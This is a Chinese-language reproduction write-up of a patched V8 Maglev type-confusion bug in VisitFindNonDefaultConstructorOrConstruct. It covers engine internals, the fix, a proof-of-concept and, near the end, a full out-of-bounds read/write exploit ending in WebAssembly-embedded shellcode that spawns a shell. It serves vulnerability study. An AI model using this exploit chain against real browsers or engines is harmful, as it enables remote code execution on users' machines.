CVE漏洞复现:Maglev中VisitFindNonDefaultConstructorOrConstruct的类型混淆
2024-5-2 17:3:47 Author: mp.weixin.qq.com(查看原文) 阅读量:7 收藏


前言

最近在学习Maglev相关知识,然后看了一些与其相关的CVE,感觉该漏洞比较容易复现,所以先打算复现一下,本文还是主要分析漏洞产生的原因,基础知识笔者会简单说一说,更多的还是需要读者自己去学习。

这里说一下为什么笔者不愿意在漏洞分析中写过多的前置知识,因为笔者认为读者都已经开始复现漏洞了,那么对基础知识应当是有一定的了解了,并且笔者的基础也比较差,所以不希望误人子弟,网上的资料很多,自己学学就 OK 啦。

环境搭建

git checkout 7f22404388ef0eb9383f189c1b0a85b5ea93b079
gclient sync -D


前置知识

new关键字new func()效果为:

◆创建一个默认对象this,然后进行初始化this.prop = val

◆若func本身返回一个对象,则抛弃默认对象;否则返回默认对象

这里给一个示例代码:

class A {
constructor() {
this.x = 1;
}
}

class B {
constructor() {
this.x = 1;
return [1.1, 2.2];
}
}

var a = new A();
var b = new B();
print(a); // [object Object]
print(b); // 1.1,2.2

new.target这里自行看资料(https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/new.target)。

Reflect.construct(target, argument, new_target)函数以target为构造函数创建对象,这里new_target提供原型,然后行为跟new func()类似。

上面的知识都比较简单,所以也不想细说了,如果读者不是很清楚的话,请自行查阅下相关资料吧,这里主要关注

JS引擎层面的实现。

对于默认对象,其是通过

FastNewObject函数创建的,其调用链如下:

TF_BUILTIN(FastNewObject, ConstructorBuiltinsAssembler)
TNode<JSObject> ConstructorBuiltinsAssembler::FastNewObject(
TNode<Context> context,
TNode<JSFunction> target,
TNode<JSReceiver> new_target)
⇒ TNode<JSObject> ConstructorBuiltinsAssembler::FastNewObject(
TNode<Context> context,
TNode<JSFunction> target,
TNode<JSReceiver> new_target,
Label* call_runtime)

先来看看TF_BUILTIN(FastNewObject, ConstructorBuiltinsAssembler)

TF_BUILTIN(FastNewObject, ConstructorBuiltinsAssembler) {
auto context = Parameter<Context>(Descriptor::kContext);
auto target = Parameter<JSFunction>(Descriptor::kTarget);
auto new_target = Parameter<JSReceiver>(Descriptor::kNewTarget);

Label call_runtime(this);
// 先调用 FastNewObject
TNode<JSObject> result = FastNewObject(context, target, new_target, &call_runtime);
Return(result);

BIND(&call_runtime);
TailCallRuntime(Runtime::kNewObject, context, target, new_target);
}

该函数比较简单,其主要就是调用了ConstructorBuiltinsAssembler::FastNewObject函数:

TNode<JSObject> ConstructorBuiltinsAssembler::FastNewObject(
TNode<Context> context, TNode<JSFunction> target,
TNode<JSReceiver> new_target, Label* call_runtime) {
// Verify that the new target is a JSFunction.
Label end(this);
// 检测 new_target 是否是 JSFunction
TNode<JSFunction> new_target_func = HeapObjectToJSFunctionWithPrototypeSlot(new_target, call_runtime);
// Fast path.
// 快速路径
// Load the initial map and verify that it's in fact a map.
// 加载 new_target_func 的 initial_map or proto
TNode<Object> initial_map_or_proto = LoadJSFunctionPrototypeOrInitialMap(new_target_func);
// 如果 initial_map_or_proto 是 Smi,则调用 call_runtime 运行时函数(相当于慢速路径了)
GotoIf(TaggedIsSmi(initial_map_or_proto), call_runtime);
// 检查 initial_map_or_proto 是否是 Map
GotoIf(DoesntHaveInstanceType(CAST(initial_map_or_proto), MAP_TYPE), call_runtime);
// initial_map 是一个 Map
TNode<Map> initial_map = CAST(initial_map_or_proto);

// Fall back to runtime if the target differs from the new target's initial map constructor.
// 加载 initial_map 的构造函数 new_target_constructor
TNode<Object> new_target_constructor = LoadObjectField(initial_map, Map::kConstructorOrBackPointerOrNativeContextOffset);
// 如果 target != new_target_constructor,则走慢速路径
GotoIf(TaggedNotEqual(target, new_target_constructor), call_runtime);

TVARIABLE(HeapObject, properties);
Label instantiate_map(this), allocate_properties(this);
GotoIf(IsDictionaryMap(initial_map), &allocate_properties);
{
// 分配 properties (非字典模式)
properties = EmptyFixedArrayConstant();
Goto(&instantiate_map);
}
// 字典模式
BIND(&allocate_properties);
{
if (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {
properties = AllocateSwissNameDictionary(SwissNameDictionary::kInitialCapacity);
} else {
properties = AllocateNameDictionary(NameDictionary::kInitialCapacity);
}
Goto(&instantiate_map);
}

BIND(&instantiate_map);
// 最后根据 initial_map 创建 JSObject
return AllocateJSObjectFromMap(initial_map, properties.value(), base::nullopt,
AllocationFlag::kNone, kWithSlackTracking);
}

可以看到ConstructorBuiltinsAssembler::FastNewObject分为快速路径和慢速路径:

◆快速路径:直接根据new_target的initial_map进行默认对象的创建

  • initial_map的构造函数与target相同

  • new_target的initial_map为一个有效map

◆慢速路径:调用Runtime::kNewObject运行时函数

这里的快速路径可能有点奇怪?因为这里target才是构造函数,所以默认对象的map再怎么说也不应该与new_targetinitial_map相同,但这其实是一个优化,其会将targetinitial_mapnew_targetprototype缓存在new_targetinitial_map域,这个后面再说。

然后可以看到走快速路径是存在两个条件的,不满足则会走慢速路径

Runtime::kNewObjec

RUNTIME_FUNCTION(Runtime_NewObject) {
HandleScope scope(isolate);
DCHECK_EQ(2, args.length());
Handle<JSFunction> target = args.at<JSFunction>(0);
Handle<JSReceiver> new_target = args.at<JSReceiver>(1);
RETURN_RESULT_OR_FAILURE(
isolate,
JSObject::New(target, new_target, Handle<AllocationSite>::null()));
}

可以看到其直接调用了JSObject::New函数:

MaybeHandle<JSObject> JSObject::New(Handle<JSFunction> constructor,
Handle<JSReceiver> new_target,
Handle<AllocationSite> site) {
// 这里可以看下注释:其对 new / Reflect.construct 的 new.target 存在不同的要求
// If called through new, new.target can be:
// - a subclass of constructor,
// - a proxy wrapper around constructor, or
// - the constructor itself.
// If called through Reflect.construct, it's guaranteed to be a constructor.
Isolate* const isolate = constructor->GetIsolate();
DCHECK(constructor->IsConstructor());
DCHECK(new_target->IsConstructor());
DCHECK(!constructor->has_initial_map() ||
!InstanceTypeChecker::IsJSFunction(constructor->initial_map().instance_type()));

Handle<Map> initial_map;
//【1】
ASSIGN_RETURN_ON_EXCEPTION(
isolate, initial_map,
JSFunction::GetDerivedMap(isolate, constructor, new_target), JSObject);

constexpr int initial_capacity = V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL
? SwissNameDictionary::kInitialCapacity
: NameDictionary::kInitialCapacity;

Handle<JSObject> result = isolate->factory()->NewFastOrSlowJSObjectFromMap(
initial_map, initial_capacity, AllocationType::kYoung, site);

return result;
}

【1】处会调用JSFunction::GetDerivedMap函数,这里的constructor传入的是target

MaybeHandle<Map> JSFunction::GetDerivedMap(Isolate* isolate,
Handle<JSFunction> constructor,
Handle<JSReceiver> new_target) {
// 为 constructor 即 target 分配 initial_map
EnsureHasInitialMap(constructor);

Handle<Map> constructor_initial_map(constructor->initial_map(), isolate);
// 如果 target == new_target,则直接返回
if (*new_target == *constructor) return constructor_initial_map;

Handle<Map> result_map;
// Fast case, new.target is a subclass of constructor. The map is cacheable
// (and may already have been cached). new.target.prototype is guaranteed to
// be a JSReceiver.
// 否则为 new_target 创建 initial_map
if (new_target->IsJSFunction()) {
Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);
if (FastInitializeDerivedMap(isolate, function, constructor, constructor_initial_map)) {
return handle(function->initial_map(), isolate);
}
}

可以看到其会调用FastInitializeDerivedMapnew_target创建initial_map

bool FastInitializeDerivedMap(Isolate* isolate, Handle<JSFunction> new_target,
Handle<JSFunction> constructor,
Handle<Map> constructor_initial_map) {
// Use the default intrinsic prototype instead.
// new_target 不是一个 JSFunction,返回 false 表示失败
if (!new_target->has_prototype_slot()) return false;
// Check that |function|'s initial map still in sync with the |constructor|,
// otherwise we must create a new initial map for |function|.
// 如果 new_target 存在 initial_map,并且 initial_map.constructor 就是 target
// 则说明之前已经缓存过了,所以直接返回 true
if (new_target->has_initial_map() &&
new_target->initial_map().GetConstructor() == *constructor) {
DCHECK(new_target->instance_prototype().IsJSReceiver());
return true;
}
// 否则创建新的 map
......
// 【1】
Handle<Map> map =
Map::CopyInitialMap(isolate, constructor_initial_map, instance_size, in_object_properties, unused_property_fields);
map->set_new_target_is_base(false);
Handle<HeapObject> prototype(new_target->instance_prototype(), isolate);
// 【2】
JSFunction::SetInitialMap(isolate, new_target, map, prototype, constructor);
DCHECK(new_target->instance_prototype().IsJSReceiver());
map->set_construction_counter(Map::kNoSlackTracking);
map->StartInobjectSlackTracking();
return true;
}

可以看到在【2】处设置了new_targetinitial_mapmap,但是修改了prototypenew_targetprototypeconstructortarget。而该map【1】处是通过复制constructor_initial_map来的,看到这里可能就明白了之前快速路径的逻辑。

所以在快速路径中,当

new_target.initial_map.constructor = target时,则说明new_target.initial_maptarget.initial_map是相同的,所以这里就会直接使用new_target.initial_map。

OK,以上就是后面漏洞分析需要的一些基础知识。


漏洞分析

还是先从patch(https://chromium.googlesource.com/v8/v8/+/ed93bef7ab786d5367c2ae7882922c23aa0eda64%5E%21/#F0)入手:

diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index d5f6128..2c5227e 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -5347,6 +5347,14 @@
StoreRegister(iterator_.GetRegisterOperand(0), map_proto);
}

+bool MaglevGraphBuilder::HasValidInitialMap(
+ compiler::JSFunctionRef new_target, compiler::JSFunctionRef constructor) {
+ if (!new_target.map(broker()).has_prototype_slot()) return false;
+ if (!new_target.has_initial_map(broker())) return false;
+ compiler::MapRef initial_map = new_target.initial_map(broker());
+ return initial_map.GetConstructor(broker()).equals(constructor);
+}
+
void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0);
ValueNode* new_target = LoadRegisterTagged(1);
@@ -5380,7 +5388,9 @@
TryGetConstant(new_target);
if (kind == FunctionKind::kDefaultBaseConstructor) {
ValueNode* object;
- if (new_target_function && new_target_function->IsJSFunction()) {
+ if (new_target_function && new_target_function->IsJSFunction() &&
+ HasValidInitialMap(new_target_function->AsJSFunction(),
+ current_function)) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(),
broker()),
diff --git a/src/maglev/maglev-graph-builder.h b/src/maglev/maglev-graph-builder.h
index 0abb4a8..d92354c 100644
--- a/src/maglev/maglev-graph-builder.h
+++ b/src/maglev/maglev-graph-builder.h
@@ -1884,6 +1884,9 @@
void MergeDeadLoopIntoFrameState(int target);
void MergeIntoInlinedReturnFrameState(BasicBlock* block);

+ bool HasValidInitialMap(compiler::JSFunctionRef new_target,
+ compiler::JSFunctionRef constructor);
+
enum JumpType { kJumpIfTrue, kJumpIfFalse };
enum class BranchSpecializationMode { kDefault, kAlwaysBoolean };
JumpType NegateJumpType(JumpType jump_type);

从补丁打的位置可以知道该漏洞应该发生在Maglev的图构建阶段,并且其主要打在了MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct函数中,根据函数名大概知道其主要就是处理FindNonDefaultConstructorOrConstruct字节码的,而该操作的功能为“寻找非默认构造函数”,这里结合chatGPT食用:

在 V8 引擎中,FindNonDefaultConstructorOrConstruct 字节码指令用于查找非默认构造函数或构造器函数。这个字节码指令在 JavaScript 代码中的类构造过程中使用。

当在 JavaScript 中创建一个类并调用 new 关键字来实例化对象时,V8 引擎会执行相应的字节码指令序列。其中,FindNonDefaultConstructorOrConstruct 字节码指令用于查找适当的构造函数或构造器函数。

具体而言,该指令会检查类的原型链以查找适合的构造函数。它首先尝试查找类自身的 constructor 属性,如果找到则使用该构造函数。否则,它会沿着原型链向上查找,直到找到一个非默认构造函数或构造器函数。

这个过程是为了确保在类继承链中正确地选择构造函数,以便在实例化对象时执行相应的初始化逻辑。

所以可以写出如下代码去生成目标字节码:

class A {}
class B extends A {}
var b = new B();

来看下B产生的字节码:

CreateRestParameter
Star2
Mov <closure>, r1
FindNonDefaultConstructorOrConstruct r1, r0, r7-r8
Mov r2, r5
Ldar r7
Mov r1, r3
Mov r0, r6
Mov r8, r4
JumpIfTrue [12] (0x352f0019b2df @ 35) ----> |
ThrowIfNotSuperConstructor r4 | t
Ldar r6 | r
ConstructWithSpread r4, r5-r5, [0] | u
Star4 | e
Ldar r4 <--------
Return

可以看到这里确实生成了FindNonDefaultConstructorOrConstruct字节码,其实可以把它看成一种优化,其会遍历B的原型链,尽量的忽略哪些默认构造函数,如果最后到达原型链顶层,则调用FastNewObject创建默认对象。


现在我们回到主要的补丁代码:

void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0);
ValueNode* new_target = LoadRegisterTagged(1);
@@ -5380,7 +5388,9 @@
TryGetConstant(new_target);
if (kind == FunctionKind::kDefaultBaseConstructor) {
ValueNode* object;
- if (new_target_function && new_target_function->IsJSFunction()) {
+ if (new_target_function && new_target_function->IsJSFunction() &&
+ HasValidInitialMap(new_target_function->AsJSFunction(),
+ current_function)) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(),
broker()),

可以看到这里的补丁仅仅对new_targetinitial_map进行了检查,而之前的漏洞代码并没有对new_targetinitial_map进行合法性检查,我们看下这个函数的关键逻辑:

void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0); // target
ValueNode* new_target = LoadRegisterTagged(1); // new_target

auto register_pair = iterator_.GetRegisterPairOperand(2);
// 如果 TryGetConstant(this_function) 返回不为空 【1】
if (compiler::OptionalHeapObjectRef constant = TryGetConstant(this_function)) {
// function_map
compiler::MapRef function_map = constant->map(broker());
// 原型链,后面将进行遍历
compiler::HeapObjectRef current = function_map.prototype(broker());

if (broker()->dependencies()->DependOnArrayIteratorProtector()) {
while (true) {
// 不是 JSFunction,则 break,即遍历到头了,原型链的尽头是 NULL
if (!current.IsJSFunction()) break;
// 当前遍历的原型构造函数
compiler::JSFunctionRef current_function = current.AsJSFunction();
......
// 获取构造函数类型
// kDefaultDerivedConstructor 表示派生默认构造函数
// kDefaultBaseConstructor 表示顶层默认构造函数
FunctionKind kind = current_function.shared(broker()).kind();
// 如果是 kDefaultDerivedConstructor,表示派生默认构造函数,则直接跳过
if (kind != FunctionKind::kDefaultDerivedConstructor) {
broker()->dependencies()->DependOnStablePrototypeChain(
function_map, WhereToStart::kStartAtReceiver, current_function);

compiler::OptionalHeapObjectRef new_target_function = TryGetConstant(new_target);
// 如果是 kDefaultBaseConstructor,表示已经到顶层了,则会进入该分支
if (kind == FunctionKind::kDefaultBaseConstructor) {
ValueNode* object;
// 如果 new_target_function 是一个 constant 并且是 JSFunction
// 则调用 BuildAllocateFastObject 创建默认对象
if (new_target_function && new_target_function->IsJSFunction()) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
} else {
// 调用 TF_BUILTIN(FastNewObject, ConstructorBuiltinsAssembler) 创建默认对象
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});
}
StoreRegister(register_pair.first, GetBooleanConstant(true));
StoreRegister(register_pair.second, object);
return;
}
break;
}
// Keep walking up the class tree.
current = current_function.map(broker()).prototype(broker());
}
}
StoreRegister(register_pair.first, GetBooleanConstant(false));
StoreRegister(register_pair.second, GetConstant(current));
return;
}
......
}

可以看到如果最后到达顶层构造函数,并且new_target是一个JSFunction对象,则会调用BuildAllocateFastObject进行默认对象的创建,而不是调用之前分析的TF_BUILTIN(FastNewObject, ConstructorBuiltinsAssembler)函数进行创建,但是这里调用BuildAllocateFastObject时,没用对new_targetinitial_map进行合法性检查,然后这里第一个参数是通过FastObject构造函数创建的,跟进看看:

FastObject::FastObject(compiler::JSFunctionRef constructor, Zone* zone,
compiler::JSHeapBroker* broker)
: map(constructor.initial_map(broker)) // 【1】
{
compiler::SlackTrackingPrediction prediction =
broker->dependencies()->DependOnInitialMapInstanceSizePrediction(constructor);
inobject_properties = prediction.inobject_property_count();
instance_size = prediction.instance_size();
fields = zone->AllocateArray<FastField>(inobject_properties);
ClearFields();
elements = FastFixedArray();
}

注意我们传入的参数是new_target_function,所以可以看到这里的map就是new_target_function.initial_map。

然后可以跟进BuildAllocateFastObject函数看看:

该函数有多个实现,可以根据参数类型判断具体调用了那个函数

ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(FastObject object,
AllocationType allocation_type) {
SmallZoneVector<ValueNode*, 8> properties(object.inobject_properties, zone());
// 分配相关属性内存
for (int i = 0; i < object.inobject_properties; ++i) {
properties[i] = BuildAllocateFastObject(object.fields[i], allocation_type);
}
ValueNode* elements = BuildAllocateFastObject(object.elements, allocation_type);

DCHECK(object.map.IsJSObjectMap());
// TODO(leszeks): Fold allocations.
ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
object.instance_size,
allocation_type);
// 注意这里 object.map 就是 new_target.initial_map
BuildStoreReceiverMap(allocation, object.map); // 【1】
AddNewNode<StoreTaggedFieldNoWriteBarrier>(
{allocation, GetRootConstant(RootIndex::kEmptyFixedArray)},
JSObject::kPropertiesOrHashOffset);

if (object.js_array_length.has_value()) {
BuildStoreTaggedField(allocation,
GetConstant(*object.js_array_length),
JSArray::kLengthOffset);
}
// 安装 elements
BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset);
// 安装属性名
for (int i = 0; i < object.inobject_properties; ++i) {
BuildStoreTaggedField(allocation,
properties[i],
object.map.GetInObjectPropertyOffset(i));
}
return allocation;
}

所以这里的关键点就是其把默认对象的map设置为了new_target.initial_map,这便是漏洞之处,通过之前的分析我们知道,调用BuildAllocateFastObject函数之前没有对new_target.initial_map进行合法性检查,所以最后可以导致的效果为:

◆创建了一个new_target.initial_map类型的默认对象obj

◆对默认对象obj的初始化由target完成

那么这时如果new_targettargetinitial_map不相同,则可能导致属性初始化错误,比如new_targetinitial_mapJSArray,那么此时就会导致target忽略对默认对象length属性的初始化。


漏洞触发

想要到达漏洞代码逻辑,得使以下关键判断成立:

TryGetConstant(this_function)
TryGetConstant(new_target)

先来看下TryGetConstant函数:

注:这里TryGetConstant存在多个实现,但没办法用参数进行判断调用了哪一个,所以这里参考参考文章的分析

compiler::OptionalHeapObjectRef MaglevGraphBuilder::TryGetConstant(
ValueNode* node, ValueNode** constant_node) {
if (auto result = TryGetConstant(broker(), local_isolate(), node)) { // 【1】
if (constant_node) *constant_node = node;
return result;
}
const NodeInfo* info = known_node_aspects().TryGetInfoFor(node);
if (info && info->is_constant()) { // 【2】
if (constant_node) *constant_node = info->constant_alternative;
return TryGetConstant(info->constant_alternative);
}
return {};
}

由于还没开始审计Maglev源码,所以这里笔者不是很懂,简单来说就是这里有两个路径可以进行判断node是否是constant

【1】:该路径直接检查node是否是一个global constant

【2】:检查是否有其它nodes标记该node是一个constant

这里【1】路径行不通,所以这里利用【2】路径进行绕过,其主要就是插入一个CheckValue节点,而该节点会标记该node为一个constant

ReduceResult MaglevGraphBuilder::BuildCheckValue(ValueNode* node,
compiler::HeapObjectRef ref) {
DCHECK(!ref.IsSmi());
DCHECK(!ref.IsHeapNumber());

if (compiler::OptionalHeapObjectRef maybe_constant = TryGetConstant(node)) {
if (maybe_constant.value().equals(ref)) {
return ReduceResult::Done();
}
return EmitUnconditionalDeopt(DeoptimizeReason::kUnknown);
}
if (ref.IsString()) {
DCHECK(ref.IsInternalizedString());
AddNewNode<CheckValueEqualsString>({node}, ref.AsInternalizedString());
} else {
AddNewNode<CheckValue>({node}, ref);
}
SetKnownValue(node, ref); // <======================== PWN
return ReduceResult::Done();
}

这里直接看poc

class A {}

var x = Array;

class B extends A {
constructor() {
x = new.target;
super();
}
}

function construct() {
var r = Reflect.construct(B, [], x);
return r;
}

%PrepareFunctionForOptimization(B);
construct();
construct();
%OptimizeMaglevOnNextCall(B);
var arr = construct();

%DebugPrint(x);
print(arr instanceof Array);

看下Maglev IR




可以看到这里确实产生了CheckValue节点,并且这里可以看Map的值:




可以看到其直接赋值的new_target.initial_map,而new_target.initial_map的类型为JSArray




来看下初始化过程:




这里的4/8明显是properties/element的偏移,但是其却没有对length进行赋值,可以看到print(arr instanceof Array)输出的是true,即arr是一个数组:



漏洞利用

这里主要利用的是JSObjectJSArray的类型混淆,JSObject是不存在length属性的,而JSArray存在length属性,所以如果targetJSObject,而new_targetJSArray,那么触发漏洞后,target就不会初始化创建对象的length属性,所以这里的length就是一个未初始化的值,如果这个未初始化length值比较大,就可以实现越界读写。

有了越界读写,后面写利用就比较简单了,很多利用手法都大同小异,所以就不细说了,主要说下关键点:

◆虽然没有对length进行初始化,但是一般(没有gc)时,length就为 0,所以这里先提前触发gc去移动对象,这样有概率存在残留数据覆盖length,如果length比较大,就可以实现越界读写。

◆由于JSObect对象不使用element属性,所以这里element指向FixedArray[0],其值在笔者机器上固定为0x219,其属于的页权限为只读权限,但是这里问题不大,因为0x219基本就在堆的最低地址处了,只要被覆盖的length比较大,就可以实现越界读写。

exploit如下:

var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;

function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}

function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}

function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}

function set_u64(val) {
u64[0] = val;
}

function set_l(l) {
u32[0] = l;
}

function set_h(h) {
u32[1] = h;
}

function get_l() {
return u32[0];
}

function get_h() {
return u32[1];
}

function get_u64() {
return u64[0];
}

function get_f64() {
return f64[0];
}

function get_fl(val) {
f64[0] = val;
return u32[0];
}

function get_fh(val) {
f64[0] = val;
return u32[1];
}

function add_ref(obj) {
roots[index++] = obj;
}

function major_gc() {
new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
for (let i = 0; i < 8; i++) {
add_ref(new ArrayBuffer(0x200000));
}
add_ref(new ArrayBuffer(8));
}

function hexx(str, val) {
console.log(str+": 0x"+val.toString(16));
}

function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}

class A {}

var x = Array;

class B extends A {
constructor() {
x = new.target;
super();
}
}

function construct() {
var r = Reflect.construct(B, [], x);
return r;
}

//Compile optimize code
for (let i = 0; i < 2000; i++) construct();
minor_gc();
major_gc();
var victim_array = construct();
hexx("victim_array length", victim_array.length);

//%DebugPrint(victim_array);

var base = 0x00000219+7;

var element_start_addr = 0x00442129;
var data_element_start_addr = element_start_addr + 7;

var map_addr = data_element_start_addr + 0x1000;
var fake_object_array_addr = map_addr + 0x1000;
var save_fake_object_array_addr = fake_object_array_addr + 0x200;

var map_offset = (map_addr - base) / 8;
var fake_object_array_offset = (fake_object_array_addr - base) / 8;
var save_fake_object_array_offset = (save_fake_object_array_addr - base) / 8;

hexx("map_offset", map_offset);
hexx("fake_object_array_offset", fake_object_array_offset);
hexx("save_fake_object_array_offset", save_fake_object_array_offset);
var spray_array = new Array(0xf700).fill({});
//%DebugPrint(spray_array);

//0x2c04040400000061 0x0a0007ff110008420
victim_array[map_offset] = pair_u32_to_f64(data_element_start_addr+0x200+1, 0x2c040404);
victim_array[map_offset+1] = u64_to_f64(0x0a0007ff11000842n);
victim_array[fake_object_array_offset] = pair_u32_to_f64(map_addr+1, 0x219);
victim_array[fake_object_array_offset+1] = pair_u32_to_f64(1, 0x20);
victim_array[save_fake_object_array_offset] = pair_u32_to_f64(fake_object_array_addr+1, fake_object_array_addr+1);

var fake_object = spray_array[(save_fake_object_array_addr - data_element_start_addr) / 4];

function addressOf(obj) {
spray_array[0] = obj;
f64_to_u64(victim_array[(data_element_start_addr-base)/8]);
return u32[0];
}

//var test_arr = [1.1];
//hexx("test_arr address", addressOf(test_arr));
//%DebugPrint(test_arr);

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
var pwn = instance.exports.pwn;

for (let j = 0x0; j < 10000; j++) {
wmain()
}

var instance_addr = addressOf(instance);
hexx("instance_addr", instance_addr);

victim_array[fake_object_array_offset+1] = pair_u32_to_f64(instance_addr-8+0x50, 0x20);
var rwx_addr = f64_to_u64(fake_object[0]);
hexx("rwx_addr", rwx_addr);

fake_object[0] = u64_to_f64(rwx_addr+0x71dn-5n);

pwn();

print("END");
//%DebugPrint(instance);
//%DebugPrint(fake_object);
//%DebugPrint(spray_array);
//readline();

效果如下:



总结

通过对该CVE的分析利用,对Maglev有了基本的了解,但是还有一些细节上的东西没有搞清楚,这个只能后面对Mgalev逐渐熟悉后再看看了。

然后看了下腾讯玄武去年的

talk,发现Maglev是一个很不错的攻击面(玄武的大佬好像直接挖了7个洞),其与trubofan有部分相同的性质,而其又具有独特的攻击面,所以笔者感觉可以将turbofan的一些历史漏洞去套下Maglev。当然了,随着chrometurbofan保护强度的逐步上升,目前想在trubofan中出一个洞可以说是非常难了,而Maglev应该是目前最能够出JIT洞的了,当然自己目前太菜了,也希望早日能够挖到自己的漏洞。

说点别的,瞎扯一下:目前其实也复现了很多漏洞,但是对挖漏洞其实还是比较迷茫的,自己也花了一些时间总结了下,发现自己虽然在复现一些漏洞,但是很多漏洞都比较老,并且在复现漏洞的时候没有去总结可能的攻击面,看了很多大佬的

talk,发现选取攻击面是非常重要的,就chrome而言,其有很多组件,每个组件又有不同的功能分支,如何针对性的进行fuzz是非常重要的。也希望后面可以跟踪一些比较前沿的攻击手法和比较新的攻击面。

目前在笔者看来,复现漏洞就两个目的,第一就是熟悉某个知识点,就比如笔者之所以复现该漏洞其实就是为了巩固下Maglev中的一些东西;第二就是总结攻击面,这个目前笔者做的比较失败。然后单纯的为了写利用去复现漏洞是没有意义的,漏洞那么多,是不能全部复现的。所以后面笔者复现漏洞也会有针对性的复现,会尽量选取一些比较新的漏洞进行复现。人一定要学会反思,不然就如同行尸走肉一般。

Getting RCE in Chrome with incomplete object initialization in the Maglev compiler

(https://github.blog/2023-10-17-getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler/)

看雪ID:XiaozaYa

https://bbs.kanxue.com/user-home-965217.htm

*本文为看雪论坛精华文章,由 XiaozaYa 原创,转载请注明来自看雪社区

# 往期推荐

1、自定义Linker实现分析之路

2、逆向分析VT加持的无畏契约纯内核挂

3、阿里云CTF2024-暴力ENOTYOURWORLD题解

4、Hypervisor From Scratch - 基本概念和配置测试环境、进入 VMX 操作

5、V8漏洞利用之对象伪造漏洞利用模板

球分享

球点赞

球在看

点击阅读原文查看更多


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458553429&idx=1&sn=d5674757eedccb83f6e0063db0a5205c&chksm=b18dbcdf86fa35c90d21a8db9c292c73f5adad26a9111751b5c4d2c718ea88c46623724de5d2&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh